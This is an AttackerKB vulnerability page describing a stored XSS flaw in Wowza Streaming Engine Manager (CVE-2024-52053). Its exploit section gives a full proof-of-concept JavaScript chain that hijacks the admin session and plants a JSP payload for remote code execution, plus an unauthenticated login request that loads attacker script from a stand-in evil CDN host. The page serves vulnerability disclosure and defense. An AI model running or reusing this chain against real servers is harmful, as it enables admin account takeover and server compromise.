High
CVE-2024-52053
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
High
(1 user assessed)Low
(1 user assessed)Unknown
Unknown
Unknown
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Stored Cross-Site Scripting in the Manager component of Wowza Streaming Engine below 4.9.1 allows an unauthenticated attacker to inject client-side JavaScript into the web dashboard to automatically hijack admin accounts.
Add Assessment
Ratings
-
Attacker ValueHigh
-
ExploitabilityLow
Technical Analysis
Wowza Streaming Engine below v4.9.1 on Windows and Linux is vulnerable to stored Cross-Site Scripting (XSS). An attacker with unauthenticated access to the Streaming Engine Manager HTTP service (port 8088) can inject JavaScript into application logs. When an administrator views the log dashboard, the injected code will automatically execute and hijack the administrator’s account. Notably, this vulnerability can be chained with CVE-2024-52052 by an unauthenticated attacker to automatically run arbitrary code on the server with high privileges when an admin views the dashboard.
Target Software
Wowza Streaming Engine is media server software used by many organizations for livestream broadcasts, video on-demand, closed captioning, and media system interoperability. The Wowza Streaming Engine Manager component is a web application, and it’s used to manage and monitor Wowza Media Server instances. At the time of publication, approximately 18,500 Wowza Streaming Engine servers are exposed to the public internet, and many of those systems also expose the Manager web application. The testing target was Wowza Streaming Engine v4.8.27+5, the latest version available at the time of research.
Analysis
When a user fails to login to Wowza Streaming Engine Manager, the log file at manager/logs/wmsmanager_access.log
is updated with the failed login.
2024-07-24 12:41:58 CDT server - WARN server REST API: Authentication-401: Accessed denied for user:doesnotexist 2024-07-24 12:41:58 CDT server - INFO server WowzaHttpSessionListener.sessionCreated: 3250824A53666E6128430CD2451CEE96
The administrator dashboard contains a ‘Logs’ tab that displays Wowza Streaming Engine Manager log data. Client-side code on the dashboard makes a request to the /enginemanager/server/logs/getlog.jsdata
API endpoint, which returns JSON containing log file data. An example of this JSON log data for the above login failure is shown below. Note that the attacker-provided username is embedded in the JSON.
"logLines":[{"data":["WARN ","<b>2024-07-30</b><br>12:41:58 (CDT)","server","<b>server</b><br>-","REST API: Authentication-401: Accessed denied for user:doesnotexist"]}]
Client-side JavaScript embedded in /enginemanager/Home.htm
, which is used by the ‘Logs’ dashboard, unsafely uses innerHTML to write this attacker-provided data to the DOM. At [1], the tainted data that is sourced from the API’s JSON response is assigned to a variable. At [2], JavaScript’s innerHTML is used, unsafely concatenating the attacker’s input into the DOM.
function addTableData(tbody, tableHeadings, logLines, prepend) { // for each entry in the logLines list add a row to the table body for(var i = 0; i < logLines.length; i++) { var data = logLines[i].data; var tr ; if (prepend) { tr = tbody.insertRow(0); } else { tr = tbody.insertRow(); } // for each table column, get the cell text from logline data for (var j = 0; j < tableHeadings.length; j++) { var text = data[j]; // [1] var td = tr.insertCell(j); var cellDiv = document.createElement("div"); td.appendChild(cellDiv); cellDiv.style.wordWrap = 'break-word'; if (text == "ERROR") text = "<div style='font-size: 23px'><I class='fa fa-times-circle' style='color:#b94a48'></i></div>"; else if (text == "WARN") text = "<div style='font-size: 23px'><I class='fa fa-exclamation-triangle' style='color:#fbab00'></i></div>"; else if (text == "DEBUG") text = "<div style='font-size: 23px'><I class='fa fa-bug' style='color:#3CA91F'></i></div>"; else if (text == "INFO") text = "<div style='font-size: 23px'><I class='fa fa-exclamation-circle' style='color:#3d73a5'></i></div>"; cellDiv.innerHTML = text; // [2] } } }
The screenshot below depicts hitting a breakpoint in the Chrome Developer Tools when cellDiv.innerHTML
is used to unsafely concatenate tainted log data into the DOM.
Since the Spring framework does not encode usernames that fail logins, an unauthenticated attacker can inject JavaScript in the j_username
parameter with an invalid password. When an administrator views the ‘Logs’ dashboard, the JavaScript will automatically execute and hijack their browser.
Exploit
The unauthenticated JavaScript injection can be chained with CVE-2024-52054, CVE-2024-52055, and CVE-2024-52056 to exfiltrate or delete any files on the server. However, in this case, we’ll chain CVE-2024-52053 with CVE-2024-52052, an admin-level JSP injection vulnerability, for server-side remote code execution as root. With this exploit, an unauthenticated attacker can plant a JavaScript payload in the administrator dashboard, then automatically execute arbitrary code on the server when the administrator views the dashboard.
Below is wowza.js
, which should be hosted on any CDN. The proof-of-concept exploit will execute JSP code to create the file /tmp/rce
.
async function hitPage(e) { const t = `${window.location.origin}/enginemanager/static/${e}.jsp`; try { const e = await fetch(t, { method: "GET", credentials: "include" }); e.ok || console.error("failed to fetch targ:", e.status) } catch (e) { return console.error("error during fetch targ:", e), null } } async function getCSRFToken() { const e = `${window.location.origin}/enginemanager/Home.htm`; try { const t = await fetch(e, { method: "GET", credentials: "include" }); if (!t.ok) return console.error("failed to fetch CSRF:", t.status), null; const o = await t.text(), a = new DOMParser, s = a.parseFromString(o, "text/html").querySelector('meta[name="wowzaSecurityToken"]'); return s ? s.getAttribute("content") : (console.error("CSRF not found in resp"), null) } catch (e) { return console.error("error fetching CSRF:", e), null } } async function createApplication(e, t) { const o = window.location.origin, a = `${o}/enginemanager/applications/new.htm`, s = `uiAppName=${encodeURIComponent(e)}&ignoreWarnings=false&wowzaSecurityToken=${encodeURIComponent(t)}&vhost=_defaultVHost_&appType=LiveEdge&primaryURL=`; try { const e = await fetch(a, { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" }, body: s, credentials: "include" }); e.ok ? console.log("app create!") : console.error("failed app create:", e.status) } catch (e) { console.error("app error:", e) } } async function setApplicationProperties(e, t) { const o = `${window.location.origin}/enginemanager/applications/${encodeURIComponent(e)}/main/edit_adv.htm`, a = `vhost=_defaultVHost_&uiAppName=${encodeURIComponent(e)}&appType=${encodeURIComponent(e)}§ion=main&advSection=Custom&customList%5B0%5D.documented=false&customList%5B0%5D.enabled=true&customList%5B0%5D.type=Boolean&customList%5B0%5D.sectionName=Application&customList%5B0%5D.section=%2FRoot%2FApplication&customList%5B0%5D.name=securityPublishRequirePassword&customList%5B0%5D.removed=false&customList%5B0%5D.uiBooleanValue=true&customList%5B1%5D.documented=false&customList%5B1%5D.enabled=true&customList%5B1%5D.type=String&customList%5B1%5D.sectionName=Application&customList%5B1%5D.section=%2FRoot%2FApplication&customList%5B1%5D.name=pushPublishMapPath&customList%5B1%5D.removed=false&customList%5B1%5D.value=%24%7Bcom.wowza.wms.context.VHostConfigHome%7D%2Fmanager%2Ftemp%2Fwebapps%2Fenginemanager%2Fstatic%2F${encodeURIComponent(e)}.jsp&advPath=%2FRoot%2FApplication&wowzaSecurityToken=${encodeURIComponent(t)}`; try { const e = await fetch(o, { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" }, body: a, credentials: "include" }); e.ok ? console.log("prop set!") : console.error("prop set fail:", e.status) } catch (e) { console.error("prop set error:", e) } } async function addStreamTarget(e, t) { const o = `${window.location.origin}/enginemanager/applications/${encodeURIComponent(e)}/streamtarget/add.htm`, a = `enabled=true&protocol=RTMP&destinationName=wowzastreamingengine&destApplicationRequired=true&destAppInstanceRequired=false&usernameRequired=false&passwordRequired=false&wowzaCloudDestinationType=&facebookUserName=&facebookAccessToken=&facebookDestName=&facebookDestId=&wowzaDotComFacebookUrl=https%3A%2F%2Ffb.wowza.com%2Fwsem%2Fstream_targets%2Fv2%2Fprod&wowzaFacebookAppId=670499806386098&wowzaCloudAdaptiveStreaming=true&protocolAkamai=RTMP&protocolShoutcast=shoutcast2&streamTargetName=x&sourceStreamName=x&sourceStreamNamePrefix=&shoutcastHost=&shoutcastPort=&shoutcastUsername=&shoutcastPassword=&shoutcastDestination=&shoutcastDescription=&shoutcastName=&shoutcastGenre=&shoutcastMetaFormat=&shoutcastURL=&shoutcastAIM=&shoutcastICQ=&shoutcastIRC=&_shoutcastPublic=on&destApplication=x&alibabaDestApplication=&destAppInstance=x&destHostRTMP=x&destPortRTMP=1935&destStreamNameRTMP=x&username=%3C%25%40+page+import%3D'java.io.*'+%25%3E%3C%25%40+page+import%3D'java.util.*'+%25%3E%3Ch1%3Ebbbaaaa%3C%2Fh1%3E+%3C%25+StringBuilder+filePath+%3D+new+StringBuilder()%3B+filePath.append('%2F').append('r').append('c').append('e')%3B+String+concatFile+%3D+filePath.toString()%3B+File+file+%3D+new+File(concatFile)%3B+file.createNewFile()%3B+%25%3E&password=x&alibabaDestPortRTMP=1935&alibabaDestStreamNameRTMP=&akamaiStreamIdRTMP=&_akamaiSendToBackupServer=on&destStreamNameRTP=&destHostRTP=&videoPort=&audioPort=&streamWaitTimeout=5000&timeToLiveRTP=63&srtDestHost=&srtDestPort=&srtLatency=400&srtTooLatePacketDrop=true&_srtTooLatePacketDrop=on&srtTimestampBasedDeliveryMode=true&_srtTimestampBasedDeliveryMode=on&srtSendBufferSize=12058624&srtSendBufferSizeUDP=65536&srtMaximumSegmentSize=1500&srtFlightFlagSize=25600&srtMaximumBandwidth=-1&srtInputBandwidth=0&srtOverheadBandwidth=25&srtConnectTimeout=3000&srtStreamId=&srtPeerIdleTimeout=5000&srtTimesToPrintStats=0&srtKeyLength=AES-128&srtPassPhrase=&srtKeyRefreshRate=16777216&srtKeyAnnounce=4096&destStreamNameMPEGTS=&destHostMPEGTS=&destPortMPEGTS=1935&timeToLiveMPEGTS=63&_rtpWrap=on&destStreamNameHTTP=&destHostHTTPAkamai=&playbackHost=&akamaiStreamIdHTTP=&akamaiHostId=&httpPlaylistCount=0&akamaiEventName=&adaptiveGroup=&akamaiDestinationServer=primary&cupertinoRenditionAudioVideo=true&_cupertinoRenditionAudioVideo=on&_cupertinoRenditionAudioOnly=on&sanjoseRepresentationId=&mpegdashVideoRepresentationId=&mpegdashAudioRepresentationId=&facebookTitle=&facebookDescription=&facebook360Projection=none&facebookDestType=timeline&facebookPrivacy=onlyMe&wowzaVideoRegion=us&wowzaVideoTranscoderRegion=asia_pacific_australia&wowzaVideoTranscoderHeight=720&wowzaVideoTranscoderWidth=1280&wowzaVideoApiToken=&connectionCode=&_autoStart=on&wowzaCloudABRRadio=multiple&wowzaCloudDestinationServer=primary&debugLog=false&debugLogChildren=false&sendSSL=false&secureTokenSharedSecret=&adaptiveStreaming=false&sendFCPublish=true&sendReleaseStream=true&sendStreamCloseCommands=true&removeDefaultAppInstance=true&sendOriginalTimecodes=true&originalTimecodeThreshold=0x100000&connectionFlashVersion=&queryString=&localBindAddress=&debugPackets=false&akamaiHdNetwork=true&httpPlaylistAcrossSessions=false&httpPlaylistTimeout=120000&httpFakePosts=false&httpWriterDebug=false&wowzaSecurityToken=${encodeURIComponent(t)}&vhost=_defaultVHost_&appName=${encodeURIComponent(e)}&apiToken=`; try { const e = await fetch(o, { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" }, body: a, credentials: "include" }); e.ok ? console.log("stream target set!") : console.error("failed stream targ set:", e.status) } catch (e) { console.error("stream targ error:", e) } }(async () => { const e = "PushPublishMap", t = await getCSRFToken(); t && (await createApplication(e, t), await setApplicationProperties(e, t), await addStreamTarget(e, t), await hitPage(e)) })();
The XSS dropper web request, which is performed by an unauthenticated attacker, is below. This will poison the dashboard and automatically trigger server-side remote code execution when an admin views the poisoned interface.
POST /enginemanager/j_spring_security_check?wowza-page-redirect= HTTP/1.1 Host: TARGET:8088 Content-Length: 238 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 wowza-page-redirect=&j_username=x"<img src=x onerror="(function() {var mal=document.createElement('script');mal.src = 'http://my.evilcdn.com/wowza.js';document.head.appendChild(mal);})();"</script> />&j_password=x&host=http://localhost:8087
After an administrator views the dashboard, remote code execution is established.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportGeneral Information
Vendors
- Wowza
Products
- Streaming Engine
References
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: